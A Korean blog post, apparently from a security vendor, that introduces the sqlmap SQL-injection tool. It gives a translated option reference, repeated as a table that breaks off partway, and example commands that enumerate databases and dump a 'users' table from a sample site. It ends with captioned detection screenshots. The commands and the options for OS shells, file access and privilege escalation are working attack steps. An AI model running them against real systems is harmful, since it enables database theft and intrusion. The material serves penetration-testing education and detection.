SQLMAP 이란?
[1]
- SQL Injection 결함을 감지 및 악용할 수 있는, Python 으로 작성된 오픈 소스 침투 테스트 도구
- mysql, postgresql, oracle, microsoft sql server 등을 포함한 모든 최신 데이터베이스에서 작동
- DB 취약 여부 확인부터 DB, 테이블, 컬럼, 데이터 탈취까지의 SQLI 공격 기술을 자동화한 Tool
- 다음과 같은 일반적인 SQL Injection 기술을 자동화
1) Error Based
2) Time Delay
3) Stacked Queries
4) Boolean Based
5) Union Based
SQLMAP 사용법 [2]
Usage: python sqlmap.py [options]
Options:
-h, –help
기본 도움말 메시지 표시 및 종료
-hh
고급 도움말 메시지 표시 및 종료
–version
프로그램의 버전 번호를 표시하고 종료
-v VERBOSE
상세 수준: 0-6 (기본값 1)
Target: 정의하려면 이러한 옵션 중 하나 이상이 제공되어야 합니다.
-u URL, –url=URL
대상 URL (예: “http://www.site.com/vuln.php?id=1”)
-d DIRECT
직접 데이터베이스 연결을 위한 연결 문자열
-l LOGFILE
Burp 또는 WebScarab 프록시 로그 파일에서 대상 구문 분석
-m BULKFILE
텍스트 파일에 제공된 여러 대상 스캔
-r REQUESTFILE
파일에서 HTTP 요청 로드
-g GOOGLEDORK
Google dork 결과를 대상 URL로 처리
-c CONFIGFILE
구성 INI 파일에서 옵션 로드
Request: 이 옵션을 사용하여 대상 URL에 연결하는 방법을 지정할 수 있습니다.
-A AGENT, –user..
HTTP 사용자 에이전트 헤더 값
-H HEADER, –hea..
추가 헤더 (예: “X-Forwarded-For: 127.0.0.1”)
–method=METHOD
주어진 HTTP 메소드의 강제 사용 (예: PUT)
–data=DATA
POST를 통해 보낼 데이터 문자열 (예: “id=1”)
–param-del=PARA..
매개변수 값 분할에 사용되는 문자 (예: &)
–cookie=COOKIE
HTTP 쿠키 헤더 값 (예: “PHPSESSID=a8d127e..”)
–cookie-del=COO..
쿠키 값 분할에 사용되는 문자 (예: ; )
–live-cookies=L..
최신 값을 로드하는 데 사용되는 라이브 쿠키 파일
–load-cookies=L..
Netscape/wget 형식의 쿠키가 포함된 파일
–drop-set-cookie
응답에서 Set-Cookie 헤더 무시
–mobile
HTTP User-Agent 헤더를 통해 스마트폰 모방
–random-agent
임의로 선택된 HTTP User-Agent 헤더 값 사용
–host=HOST
HTTP 호스트 헤더 값
–referer=REFERER
HTTP 참조 헤더 값
–headers=HEADERS
추가 헤더 (예: “Accept-Language: fr\nETag: 123”)
–auth-type=AUTH..
HTTP 인증 유형 (기본, 다이제스트, NTLM 또는 PKI)
–auth-cred=AUTH..
HTTP 인증 자격 증명 (이름:비밀번호)
–auth-file=AUTH..
HTTP 인증 PEM 인증서/개인 키 파일
–ignore-code=IG..
(문제가 있는) HTTP 오류 코드 무시 (예: 401)
–ignore-proxy
시스템 기본 프록시 설정 무시
–ignore-redirects
리다이렉션 시도 무시
–ignore-timeouts
연결 시간 초과 무시
–proxy=PROXY
프록시를 사용하여 대상 URL에 연결
–proxy-cred=PRO..
프록시 인증 자격 증명 (이름:비밀번호)
–proxy-file=PRO..
파일에서 프록시 목록 로드
–proxy-freq=PRO..
주어진 목록에서 프록시 변경 간의 요청
–tor
Tor 익명 네트워크 사용
–tor-port=TORPORT
기본값 이외의 Tor 프록시 포트 설정
–tor-type=TORTYPE
Tor 프록시 유형 설정 (HTTP, SOCKS4 또는 SOCKS5 (기본값))
–check-tor
Tor가 제대로 사용되는지 확인하십시오.
–delay=DELAY
각 HTTP 요청 사이의 지연 시간 (초)
–timeout=TIMEOUT
연결 시간 초과 전 대기 시간 (초) (기본값 30)
–retries=RETRIES
연결 시간 초과 시 재시도 (기본값 3)
–randomize=RPARAM
주어진 매개변수의 값을 무작위로 변경
–safe-url=SAFEURL
테스트 중 자주 방문하는 URL 주소
–safe-post=SAFE..
안전한 URL로 보낼 POST 데이터
–safe-req=SAFER..
파일에서 안전한 HTTP 요청 로드
–safe-freq=SAFE..
안전한 URL 방문 사이의 정기적인 요청
–skip-urlencode
페이로드 데이터의 URL 인코딩 건너뛰기
–csrf-token=CSR..
안티 CSRF 토큰을 보유하는 데 사용되는 매개변수
–csrf-url=CSRFURL
안티 CSRF 토큰 추출을 위해 방문할 URL 주소
–csrf-method=CS..
안티 CSRF 토큰 페이지 방문 시 사용할 HTTP 메소드
–csrf-retries=C..
안티 CSRF 토큰 검색 재시도 (기본값 0)
–force-ssl
SSL/HTTPS 강제 사용
–chunked
HTTP 청크 전송 인코딩 (POST) 요청 사용
–hpp
HTTP 매개변수 오염 방법 사용
–eval=EVALCODE
요청 전에 제공된 Python 코드를 평가합니다 (예: “import hashlib;id2=hashlib.md5 (id).hexdigest ()”).
Optimization: 이 옵션을 사용하여 sqlmap의 성능을 최적화할 수 있습니다.
-o
모든 최적화 스위치 켜기
–predict-output
일반적인 쿼리 출력 예측
–keep-alive
영구 HTTP 연결 사용
–null-connection
실제 HTTP 응답 본문 없이 페이지 길이 검색
–threads=THREADS
최대 동시 HTTP 요청 수 (기본값 1)
Injection: 이 옵션을 사용하여 테스트할 매개변수를 지정하고 맞춤형 주입 페이로드 및 선택적 변조 스크립트를 제공할 수 있습니다.
-p TESTPARAMETER
테스트 가능한 매개변수
–skip=SKIP
주어진 매개변수에 대한 테스트 건너뛰기
–skip-static
동적으로 보이지 않는 테스트 매개변수 건너뛰기
–param-exclude=..
테스트에서 매개변수를 제외하는 Regexp (예: “ses”)
–param-filter=P..
장소별로 테스트 가능한 매개변수 선택 (예: “POST”)
–dbms=DBMS
백엔드 DBMS를 제공된 값으로 강제 실행
–dbms-cred=DBMS..
DBMS 인증 자격 증명 (사용자:비밀번호)
–os=OS
백엔드 DBMS 운영 체제를 제공된 값으로 강제 실행
–invalid-bignum
값 무효화에 큰 숫자 사용
–invalid-logical
값 무효화에 논리 연산 사용
–invalid-string
값 무효화에 임의의 문자열 사용
–no-cast
페이로드 캐스팅 메커니즘 끄기
–no-escape
문자열 이스케이프 메커니즘 끄기
–prefix=PREFIX
주입 페이로드 접두사 문자열
–suffix=SUFFIX
주입 페이로드 접미사 문자열
–tamper=TAMPER
주입 데이터 변조를 위해 주어진 스크립트 사용
Detection: 이 옵션을 사용하여 탐지 단계를 사용자 지정할 수 있습니다.
–level=LEVEL
수행할 테스트 수준 (1-5, 기본값 1)
–risk=RISK
수행할 테스트의 위험 (1-3, 기본값 1)
–string=STRING
쿼리가 True로 평가될 때 일치시킬 문자열
–not-string=NOT..
쿼리가 False로 평가될 때 일치시킬 문자열
–regexp=REGEXP
쿼리가 True로 평가될 때 일치하는 정규식
–code=CODE
쿼리가 True로 평가될 때 일치하는 HTTP 코드
–smart
긍정적인 휴리스틱이 있는 경우에만 철저한 테스트를 수행합니다.
–text-only
텍스트 콘텐츠만을 기준으로 페이지 비교
–titles
제목만 기준으로 페이지 비교
Techniques: 이 옵션은 특정 SQL 주입 기술의 테스트를 조정하는 데 사용할 수 있습니다.
–technique=TECH..
사용할 SQL 주입 기술 (기본값 “BEUSTQ”)
–time-sec=TIMESEC
DBMS 응답 지연 시간 (초) (기본값 5)
–union-cols=UCOLS
UNION 쿼리 SQL 주입을 테스트할 열 범위
–union-char=UCHAR
열 수를 무차별 대입하는 데 사용할 문자
–union-from=UFROM
UNION 쿼리 SQL 주입의 FROM 부분에서 사용할 테이블
–dns-domain=DNS..
DNS 유출 공격에 사용되는 도메인 이름
–second-url=SEC..
2차 응답을 검색한 결과 페이지 URL
–second-req=SEC..
파일에서 2차 HTTP 요청 로드
Fingerprint:
-f, –fingerprint
Perform an extensive DBMS version fingerprint
Enumeration: 이 옵션은 테이블에 포함된 백엔드 데이터베이스 관리 시스템 정보, 구조 및 데이터를 열거하는 데 사용할 수 있습니다.
-a, –all
모두 검색
-b, –banner
DBMS 배너 검색
–current-user
DBMS 현재 사용자 검색
–current-db
DBMS 현재 데이터베이스 검색
–hostname
DBMS 서버 호스트 이름 검색
–is-dba
DBMS 현재 사용자가 DBA인지 감지
–users
DBMS 사용자 열거
–passwords
DBMS 사용자 비밀번호 해시 열거
–privileges
DBMS 사용자 권한 열거
–roles
DBMS 사용자 역할 열거
–dbs
DBMS 데이터베이스 열거
–tables
DBMS 데이터베이스 테이블 열거
–columns
DBMS 데이터베이스 테이블 열 열거
–schema
DBMS 스키마 열거
–count
테이블에 대한 항목 수 검색
–dump
DBMS 데이터베이스 테이블 항목 덤프
–dump-all
모든 DBMS 데이터베이스 테이블 항목 덤프
–search
열, 테이블 및/또는 데이터베이스 이름 검색
–comments
열거 중 DBMS 주석 확인
–statements
DBMS에서 실행 중인 SQL 문 검색
-D DB
열거할 DBMS 데이터베이스
-T TBL
열거할 DBMS 데이터베이스 테이블
-C COL
열거할 DBMS 데이터베이스 테이블 열
-X EXCLUDE
열거하지 않을 DBMS 데이터베이스 식별자
-U USER
열거할 DBMS 사용자
–exclude-sysdbs
테이블을 열거할 때 DBMS 시스템 데이터베이스 제외
–pivot-column=P..
피벗 열 이름
–where=DUMPWHERE
테이블 덤핑 중 WHERE 조건 사용
–start=LIMITSTART
검색할 첫 번째 덤프 테이블 항목
–stop=LIMITSTOP
검색할 마지막 덤프 테이블 항목
–first=FIRSTCHAR
검색할 첫 번째 쿼리 출력 단어 문자
–last=LASTCHAR
검색할 마지막 쿼리 출력 단어 문자
–sql-query=SQLQ..
실행할 SQL 문
–sql-shell
대화형 SQL 셸 프롬프트
–sql-file=SQLFILE
주어진 파일에서 SQL 문 실행
Brute force: 이 옵션은 무차별 대입 검사를 실행하는 데 사용할 수 있습니다.
–common-tables
공통 테이블의 존재 확인
–common-columns
공통 컬럼 존재 확인
–common-files
공통 파일 존재 확인
User-defined function injection: 이 옵션을 사용하여 사용자 정의 사용자 정의 함수를 생성할 수 있습니다.
–udf-inject
사용자 정의 사용자 정의 함수 주입
–shared-lib=SHLIB
공유 라이브러리의 로컬 경로
File system access: 이 옵션을 사용하여 백엔드 데이터베이스 관리 시스템 기본 파일 시스템에 액세스할 수 있습니다.
–file-read=FILE..
백엔드 DBMS 파일 시스템에서 파일 읽기
–file-write=FIL..
백엔드 DBMS 파일 시스템에 로컬 파일 쓰기
–file-dest=FILE..
쓸 백엔드 DBMS 절대 파일 경로
Operating system access: 이 옵션은 백엔드 데이터베이스 관리 시스템 기반 운영 체제에 액세스하는 데 사용할 수 있습니다.
–os-cmd=OSCMD
운영 체제 명령 실행
–os-shell
대화형 운영 체제 셸 프롬프트
–os-pwn
OOB 셸, Meterpreter 또는 VNC에 대한 프롬프트
–os-smbrelay
OOB 셸, Meterpreter 또는 VNC에 대한 원 클릭 프롬프트
–os-bof
저장 프로시저 버퍼 오버플로 악용
–priv-esc
데이터베이스 프로세스 사용자 권한 에스컬레이션
–msf-path=MSFPATH
Metasploit Framework가 설치된 로컬 경로
–tmp-path=TMPPATH
임시 파일 디렉토리의 원격 절대 경로
Windows registry access: 이 옵션을 사용하여 백엔드 데이터베이스 관리 시스템 Windows 레지스트리에 액세스할 수 있습니다.
–reg-read
Windows 레지스트리 키 값 읽기
–reg-add
Windows 레지스트리 키 값 데이터 쓰기
–reg-del
Windows 레지스트리 키 값 삭제
–reg-key=REGKEY
Windows 레지스트리 키
–reg-value=REGVAL
Windows 레지스트리 키 값
–reg-data=REGDATA
Windows 레지스트리 키 값 데이터
–reg-type=REGTYPE
Windows 레지스트리 키 값 유형
General: 이 옵션을 사용하여 일부 일반 작업 매개변수를 설정할 수 있습니다.
-s SESSIONFILE
저장된 (.sqlite) 파일에서 세션 로드
-t TRAFFICFILE
모든 HTTP 트래픽을 텍스트 파일에 기록
–answers=ANSWERS
사전 정의된 답변 설정 (예: “quit=N,follow=N”)
–base64=BASE64P..
Base64로 인코딩된 데이터를 포함하는 매개변수
–base64-safe
URL 및 파일 이름에 안전한 Base64 알파벳 사용 (RFC 4648)
–batch
사용자 입력을 요청하지 말고 기본 동작을 사용하십시오.
–binary-fields=..
이진 값이 있는 결과 필드 (예: “digest”)
–check-internet
대상을 평가하기 전에 인터넷 연결을 확인하십시오.
–cleanup
sqlmap 특정 UDF 및 테이블에서 DBMS 정리
–crawl=CRAWLDEPTH
대상 URL에서 시작하는 웹사이트 크롤링
–crawl-exclude=..
크롤링에서 페이지를 제외하는 정규식 (예: “로그아웃”)
–csv-del=CSVDEL
CSV 출력에 사용되는 구분 문자 (기본값 “,”)
–charset=CHARSET
블라인드 SQL 주입 문자 집합 (예: “0123456789abcdef”)
–dump-format=DU..
덤프된 데이터 형식 (CSV (기본값), HTML 또는 SQLITE)
–encoding=ENCOD..
데이터 검색에 사용되는 문자 인코딩 (예: GBK)
–eta
각 출력에 대한 예상 도착 시간 표시
–flush-session
현재 대상에 대한 플러시 세션 파일
–forms
대상 URL에서 양식 구문 분석 및 테스트
–fresh-queries
세션 파일에 저장된 쿼리 결과 무시
–gpage=GOOGLEPAGE
지정된 페이지 번호의 Google dork 결과 사용
–har=HARFILE
모든 HTTP 트래픽을 HAR 파일에 기록
–hex
데이터 검색 중 16진수 변환 사용
–output-dir=OUT..
사용자 정의 출력 디렉토리 경로
–parse-errors
응답에서 DBMS 오류 메시지 구문 분석 및 표시
–preprocess=PRE..
사전 처리 (요청)에 지정된 스크립트 사용
–postprocess=PO..
후처리 (응답)를 위해 주어진 스크립트 사용
–repair
알 수 없는 문자 마커 (?)가 있는 항목을 덤프합니다.
–save=SAVECONFIG
구성 INI 파일에 옵션 저장
–scope=SCOPE
대상 필터링을 위한 정규식
–skip-heuristics
SQLi/XSS 취약점의 발견적 탐지 건너뛰기
–skip-waf
WAF/IPS 보호에 대한 휴리스틱 감지 건너뛰기
–table-prefix=T..
임시 테이블에 사용되는 접두사 (기본값: “sqlmap”)
–test-filter=TE..
페이로드 및/또는 제목으로 테스트 선택 (예: ROW)
–test-skip=TEST..
페이로드 및/또는 제목별 테스트 건너뛰기 (예: BENCHMARK)
–web-root=WEBROOT
웹 서버 문서 루트 디렉토리 (예: “/var/www”)
Miscellaneous: 이 옵션은 다른 범주에 속하지 않습니다.
-z MNEMONICS
짧은 연상 기호 사용 (예: “flu,bat,ban,tec=EU”)
–alert=ALERT
SQL 주입이 발견되면 호스트 OS 명령 실행
–beep
질문 및/또는 SQLi/XSS/FI가 발견될 때 경고음
–dependencies
누락된 (선택 사항) sqlmap 종속성 확인
–disable-coloring
콘솔 출력 색상 비활성화
–list-tampers
사용 가능한 변조 스크립트 목록 표시
–offline
오프라인 모드에서 작업 (세션 데이터만 사용)
–purge
sqlmap 데이터 디렉토리에서 모든 콘텐츠를 안전하게 제거
–results-file=R..
다중 대상 모드에서 CSV 결과 파일의 위치
–shell
대화형 sqlmap 셸 프롬프트
–tmp-dir=TMPDIR
임시 파일을 저장하기 위한 로컬 디렉토리
–unstable
불안정한 연결에 대한 옵션 조정
–update
sqlmap 업데이트
–wizard
초보자를 위한 간단한 마법사 인터페이스
SQLMAP 예제 [3]
- 스캐닝
$ python sqlmap.py -u “http://www.site.com/section.php?id=51”
- DB 탐색
$ python sqlmap.py -u “http://www.site.com/section.php?id=51” –dbs
- 특정 데이터베이스에서 테이블 찾기
$ python sqlmap.py -u “http://www.site.com/section.php?id=51” –tables -D safecosmetics
- 테이블의 컬럼 가져오기
$ python sqlmap.py -u “http://www.site.com/section.php?id=51” –columns -D safecosmetics -T users
- 테이블에서 데이터 가져오기
$ python sqlmap.py -u “http://www.site.com/section.php?id=51” –dump -D safecosmetics -T users
[SQL Injection & 데이터 유출] 탐지 from PLURA V5
[사진 1] DB 이름 탐지
[사진 2] 테이블 이름 탐지
[사진 3] 컬럼 이름 탐지
[사진 4] 데이터 정보 탐지
참고
[1] http://www.cs.toronto.edu/~arnold/427/15s/csc427/tools/sqlmap/index.html
[2] https://github.com/sqlmapproject/sqlmap/wiki/Usage
[3] https://www.binarytides.com/sqlmap-hacking-tutorial
[1]
- SQL Injection 결함을 감지 및 악용할 수 있는, Python 으로 작성된 오픈 소스 침투 테스트 도구
- mysql, postgresql, oracle, microsoft sql server 등을 포함한 모든 최신 데이터베이스에서 작동
- DB 취약 여부 확인부터 DB, 테이블, 컬럼, 데이터 탈취까지의 SQLI 공격 기술을 자동화한 Tool
- 다음과 같은 일반적인 SQL Injection 기술을 자동화
1) Error Based
2) Time Delay
3) Stacked Queries
4) Boolean Based
5) Union Based
SQLMAP 사용법 [2]
Usage: python sqlmap.py [options] | ||
Options: | ||
-h, –help | 기본 도움말 메시지 표시 및 종료 | |
-hh | 고급 도움말 메시지 표시 및 종료 | |
–version | 프로그램의 버전 번호를 표시하고 종료 | |
-v VERBOSE | 상세 수준: 0-6 (기본값 1) | |
Target: 정의하려면 이러한 옵션 중 하나 이상이 제공되어야 합니다. | ||
-u URL, –url=URL | 대상 URL (예: “http://www.site.com/vuln.php?id=1”) | |
-d DIRECT | 직접 데이터베이스 연결을 위한 연결 문자열 | |
-l LOGFILE | Burp 또는 WebScarab 프록시 로그 파일에서 대상 구문 분석 | |
-m BULKFILE | 텍스트 파일에 제공된 여러 대상 스캔 | |
-r REQUESTFILE | 파일에서 HTTP 요청 로드 | |
-g GOOGLEDORK | Google dork 결과를 대상 URL로 처리 | |
-c CONFIGFILE | 구성 INI 파일에서 옵션 로드 | |
Request: 이 옵션을 사용하여 대상 URL에 연결하는 방법을 지정할 수 있습니다. | ||
-A AGENT, –user.. | HTTP 사용자 에이전트 헤더 값 | |
-H HEADER, –hea.. | 추가 헤더 (예: “X-Forwarded-For: 127.0.0.1”) | |
–method=METHOD | 주어진 HTTP 메소드의 강제 사용 (예: PUT) | |
–data=DATA | POST를 통해 보낼 데이터 문자열 (예: “id=1”) | |
–param-del=PARA.. | 매개변수 값 분할에 사용되는 문자 (예: &) | |
–cookie=COOKIE | HTTP 쿠키 헤더 값 (예: “PHPSESSID=a8d127e..”) | |
–cookie-del=COO.. | 쿠키 값 분할에 사용되는 문자 (예: ; ) | |
–live-cookies=L.. | 최신 값을 로드하는 데 사용되는 라이브 쿠키 파일 | |
–load-cookies=L.. | Netscape/wget 형식의 쿠키가 포함된 파일 | |
–drop-set-cookie | 응답에서 Set-Cookie 헤더 무시 | |
–mobile | HTTP User-Agent 헤더를 통해 스마트폰 모방 | |
–random-agent | 임의로 선택된 HTTP User-Agent 헤더 값 사용 | |
–host=HOST | HTTP 호스트 헤더 값 | |
–referer=REFERER | HTTP 참조 헤더 값 | |
–headers=HEADERS | 추가 헤더 (예: “Accept-Language: fr\nETag: 123”) | |
–auth-type=AUTH.. | HTTP 인증 유형 (기본, 다이제스트, NTLM 또는 PKI) | |
–auth-cred=AUTH.. | HTTP 인증 자격 증명 (이름:비밀번호) | |
–auth-file=AUTH.. | HTTP 인증 PEM 인증서/개인 키 파일 | |
–ignore-code=IG.. | (문제가 있는) HTTP 오류 코드 무시 (예: 401) | |
–ignore-proxy | 시스템 기본 프록시 설정 무시 | |
–ignore-redirects | 리다이렉션 시도 무시 | |
–ignore-timeouts | 연결 시간 초과 무시 | |
–proxy=PROXY | 프록시를 사용하여 대상 URL에 연결 | |
–proxy-cred=PRO.. | 프록시 인증 자격 증명 (이름:비밀번호) | |
–proxy-file=PRO.. | 파일에서 프록시 목록 로드 | |
–proxy-freq=PRO.. | 주어진 목록에서 프록시 변경 간의 요청 | |
–tor | Tor 익명 네트워크 사용 | |
–tor-port=TORPORT | 기본값 이외의 Tor 프록시 포트 설정 | |
–tor-type=TORTYPE | Tor 프록시 유형 설정 (HTTP, SOCKS4 또는 SOCKS5 (기본값)) | |
–check-tor | Tor가 제대로 사용되는지 확인하십시오. | |
–delay=DELAY | 각 HTTP 요청 사이의 지연 시간 (초) | |
–timeout=TIMEOUT | 연결 시간 초과 전 대기 시간 (초) (기본값 30) | |
–retries=RETRIES | 연결 시간 초과 시 재시도 (기본값 3) | |
–randomize=RPARAM | 주어진 매개변수의 값을 무작위로 변경 | |
–safe-url=SAFEURL | 테스트 중 자주 방문하는 URL 주소 | |
–safe-post=SAFE.. | 안전한 URL로 보낼 POST 데이터 | |
–safe-req=SAFER.. | 파일에서 안전한 HTTP 요청 로드 | |
–safe-freq=SAFE.. | 안전한 URL 방문 사이의 정기적인 요청 | |
–skip-urlencode | 페이로드 데이터의 URL 인코딩 건너뛰기 | |
–csrf-token=CSR.. | 안티 CSRF 토큰을 보유하는 데 사용되는 매개변수 | |
–csrf-url=CSRFURL | 안티 CSRF 토큰 추출을 위해 방문할 URL 주소 | |
–csrf-method=CS.. | 안티 CSRF 토큰 페이지 방문 시 사용할 HTTP 메소드 | |
–csrf-retries=C.. | 안티 CSRF 토큰 검색 재시도 (기본값 0) | |
–force-ssl | SSL/HTTPS 강제 사용 | |
–chunked | HTTP 청크 전송 인코딩 (POST) 요청 사용 | |
–hpp | HTTP 매개변수 오염 방법 사용 | |
–eval=EVALCODE | 요청 전에 제공된 Python 코드를 평가합니다 (예: “import hashlib;id2=hashlib.md5 (id).hexdigest ()”). | |
Optimization: 이 옵션을 사용하여 sqlmap의 성능을 최적화할 수 있습니다. | ||
-o | 모든 최적화 스위치 켜기 | |
–predict-output | 일반적인 쿼리 출력 예측 | |
–keep-alive | 영구 HTTP 연결 사용 | |
–null-connection | 실제 HTTP 응답 본문 없이 페이지 길이 검색 | |
–threads=THREADS | 최대 동시 HTTP 요청 수 (기본값 1) | |
Injection: 이 옵션을 사용하여 테스트할 매개변수를 지정하고 맞춤형 주입 페이로드 및 선택적 변조 스크립트를 제공할 수 있습니다. | ||
-p TESTPARAMETER | 테스트 가능한 매개변수 | |
–skip=SKIP | 주어진 매개변수에 대한 테스트 건너뛰기 | |
–skip-static | 동적으로 보이지 않는 테스트 매개변수 건너뛰기 | |
–param-exclude=.. | 테스트에서 매개변수를 제외하는 Regexp (예: “ses”) | |
–param-filter=P.. | 장소별로 테스트 가능한 매개변수 선택 (예: “POST”) | |
–dbms=DBMS | 백엔드 DBMS를 제공된 값으로 강제 실행 | |
–dbms-cred=DBMS.. | DBMS 인증 자격 증명 (사용자:비밀번호) | |
–os=OS | 백엔드 DBMS 운영 체제를 제공된 값으로 강제 실행 | |
–invalid-bignum | 값 무효화에 큰 숫자 사용 | |
–invalid-logical | 값 무효화에 논리 연산 사용 | |
–invalid-string | 값 무효화에 임의의 문자열 사용 | |
–no-cast | 페이로드 캐스팅 메커니즘 끄기 | |
–no-escape | 문자열 이스케이프 메커니즘 끄기 | |
–prefix=PREFIX | 주입 페이로드 접두사 문자열 | |
–suffix=SUFFIX | 주입 페이로드 접미사 문자열 | |
–tamper=TAMPER | 주입 데이터 변조를 위해 주어진 스크립트 사용 | |
Detection: 이 옵션을 사용하여 탐지 단계를 사용자 지정할 수 있습니다. | ||
–level=LEVEL | 수행할 테스트 수준 (1-5, 기본값 1) | |
–risk=RISK | 수행할 테스트의 위험 (1-3, 기본값 1) | |
–string=STRING | 쿼리가 True로 평가될 때 일치시킬 문자열 | |
–not-string=NOT.. | 쿼리가 False로 평가될 때 일치시킬 문자열 | |
–regexp=REGEXP | 쿼리가 True로 평가될 때 일치하는 정규식 | |
–code=CODE | 쿼리가 True로 평가될 때 일치하는 HTTP 코드 | |
–smart | 긍정적인 휴리스틱이 있는 경우에만 철저한 테스트를 수행합니다. | |
–text-only | 텍스트 콘텐츠만을 기준으로 페이지 비교 | |
–titles | 제목만 기준으로 페이지 비교 | |
Techniques: 이 옵션은 특정 SQL 주입 기술의 테스트를 조정하는 데 사용할 수 있습니다. | ||
–technique=TECH.. | 사용할 SQL 주입 기술 (기본값 “BEUSTQ”) | |
–time-sec=TIMESEC | DBMS 응답 지연 시간 (초) (기본값 5) | |
–union-cols=UCOLS | UNION 쿼리 SQL 주입을 테스트할 열 범위 | |
–union-char=UCHAR | 열 수를 무차별 대입하는 데 사용할 문자 | |
–union-from=UFROM | UNION 쿼리 SQL 주입의 FROM 부분에서 사용할 테이블 | |
–dns-domain=DNS.. | DNS 유출 공격에 사용되는 도메인 이름 | |
–second-url=SEC.. | 2차 응답을 검색한 결과 페이지 URL | |
–second-req=SEC.. | 파일에서 2차 HTTP 요청 로드 | |
Fingerprint: | ||
-f, –fingerprint | Perform an extensive DBMS version fingerprint | |
Enumeration: 이 옵션은 테이블에 포함된 백엔드 데이터베이스 관리 시스템 정보, 구조 및 데이터를 열거하는 데 사용할 수 있습니다. | ||
-a, –all | 모두 검색 | |
-b, –banner | DBMS 배너 검색 | |
–current-user | DBMS 현재 사용자 검색 | |
–current-db | DBMS 현재 데이터베이스 검색 | |
–hostname | DBMS 서버 호스트 이름 검색 | |
–is-dba | DBMS 현재 사용자가 DBA인지 감지 | |
–users | DBMS 사용자 열거 | |
–passwords | DBMS 사용자 비밀번호 해시 열거 | |
–privileges | DBMS 사용자 권한 열거 | |
–roles | DBMS 사용자 역할 열거 | |
–dbs | DBMS 데이터베이스 열거 | |
–tables | DBMS 데이터베이스 테이블 열거 | |
–columns | DBMS 데이터베이스 테이블 열 열거 | |
–schema | DBMS 스키마 열거 | |
–count | 테이블에 대한 항목 수 검색 | |
–dump | DBMS 데이터베이스 테이블 항목 덤프 | |
–dump-all | 모든 DBMS 데이터베이스 테이블 항목 덤프 | |
–search | 열, 테이블 및/또는 데이터베이스 이름 검색 | |
–comments | 열거 중 DBMS 주석 확인 | |
–statements | DBMS에서 실행 중인 SQL 문 검색 | |
-D DB | 열거할 DBMS 데이터베이스 | |
-T TBL | 열거할 DBMS 데이터베이스 테이블 | |
-C COL | 열거할 DBMS 데이터베이스 테이블 열 | |
-X EXCLUDE | 열거하지 않을 DBMS 데이터베이스 식별자 | |
-U USER | 열거할 DBMS 사용자 | |
–exclude-sysdbs | 테이블을 열거할 때 DBMS 시스템 데이터베이스 제외 | |
–pivot-column=P.. | 피벗 열 이름 | |
–where=DUMPWHERE | 테이블 덤핑 중 WHERE 조건 사용 | |
–start=LIMITSTART | 검색할 첫 번째 덤프 테이블 항목 | |
–stop=LIMITSTOP | 검색할 마지막 덤프 테이블 항목 | |
–first=FIRSTCHAR | 검색할 첫 번째 쿼리 출력 단어 문자 | |
–last=LASTCHAR | 검색할 마지막 쿼리 출력 단어 문자 | |
–sql-query=SQLQ.. | 실행할 SQL 문 | |
–sql-shell | 대화형 SQL 셸 프롬프트 | |
–sql-file=SQLFILE | 주어진 파일에서 SQL 문 실행 | |
Brute force: 이 옵션은 무차별 대입 검사를 실행하는 데 사용할 수 있습니다. | ||
–common-tables | 공통 테이블의 존재 확인 | |
–common-columns | 공통 컬럼 존재 확인 | |
–common-files | 공통 파일 존재 확인 | |
User-defined function injection: 이 옵션을 사용하여 사용자 정의 사용자 정의 함수를 생성할 수 있습니다. | ||
–udf-inject | 사용자 정의 사용자 정의 함수 주입 | |
–shared-lib=SHLIB | 공유 라이브러리의 로컬 경로 | |
File system access: 이 옵션을 사용하여 백엔드 데이터베이스 관리 시스템 기본 파일 시스템에 액세스할 수 있습니다. | ||
–file-read=FILE.. | 백엔드 DBMS 파일 시스템에서 파일 읽기 | |
–file-write=FIL.. | 백엔드 DBMS 파일 시스템에 로컬 파일 쓰기 | |
–file-dest=FILE.. | 쓸 백엔드 DBMS 절대 파일 경로 | |
Operating system access: 이 옵션은 백엔드 데이터베이스 관리 시스템 기반 운영 체제에 액세스하는 데 사용할 수 있습니다. | ||
–os-cmd=OSCMD | 운영 체제 명령 실행 | |
–os-shell | 대화형 운영 체제 셸 프롬프트 | |
–os-pwn | OOB 셸, Meterpreter 또는 VNC에 대한 프롬프트 | |
–os-smbrelay | OOB 셸, Meterpreter 또는 VNC에 대한 원 클릭 프롬프트 | |
–os-bof | 저장 프로시저 버퍼 오버플로 악용 | |
–priv-esc | 데이터베이스 프로세스 사용자 권한 에스컬레이션 | |
–msf-path=MSFPATH | Metasploit Framework가 설치된 로컬 경로 | |
–tmp-path=TMPPATH | 임시 파일 디렉토리의 원격 절대 경로 | |
Windows registry access: 이 옵션을 사용하여 백엔드 데이터베이스 관리 시스템 Windows 레지스트리에 액세스할 수 있습니다. | ||
–reg-read | Windows 레지스트리 키 값 읽기 | |
–reg-add | Windows 레지스트리 키 값 데이터 쓰기 | |
–reg-del | Windows 레지스트리 키 값 삭제 | |
–reg-key=REGKEY | Windows 레지스트리 키 | |
–reg-value=REGVAL | Windows 레지스트리 키 값 | |
–reg-data=REGDATA | Windows 레지스트리 키 값 데이터 | |
–reg-type=REGTYPE | Windows 레지스트리 키 값 유형 | |
General: 이 옵션을 사용하여 일부 일반 작업 매개변수를 설정할 수 있습니다. | ||
-s SESSIONFILE | 저장된 (.sqlite) 파일에서 세션 로드 | |
-t TRAFFICFILE | 모든 HTTP 트래픽을 텍스트 파일에 기록 | |
–answers=ANSWERS | 사전 정의된 답변 설정 (예: “quit=N,follow=N”) | |
–base64=BASE64P.. | Base64로 인코딩된 데이터를 포함하는 매개변수 | |
–base64-safe | URL 및 파일 이름에 안전한 Base64 알파벳 사용 (RFC 4648) | |
–batch | 사용자 입력을 요청하지 말고 기본 동작을 사용하십시오. | |
–binary-fields=.. | 이진 값이 있는 결과 필드 (예: “digest”) | |
–check-internet | 대상을 평가하기 전에 인터넷 연결을 확인하십시오. | |
–cleanup | sqlmap 특정 UDF 및 테이블에서 DBMS 정리 | |
–crawl=CRAWLDEPTH | 대상 URL에서 시작하는 웹사이트 크롤링 | |
–crawl-exclude=.. | 크롤링에서 페이지를 제외하는 정규식 (예: “로그아웃”) | |
–csv-del=CSVDEL | CSV 출력에 사용되는 구분 문자 (기본값 “,”) | |
–charset=CHARSET | 블라인드 SQL 주입 문자 집합 (예: “0123456789abcdef”) | |
–dump-format=DU.. | 덤프된 데이터 형식 (CSV (기본값), HTML 또는 SQLITE) | |
–encoding=ENCOD.. | 데이터 검색에 사용되는 문자 인코딩 (예: GBK) | |
–eta | 각 출력에 대한 예상 도착 시간 표시 | |
–flush-session | 현재 대상에 대한 플러시 세션 파일 | |
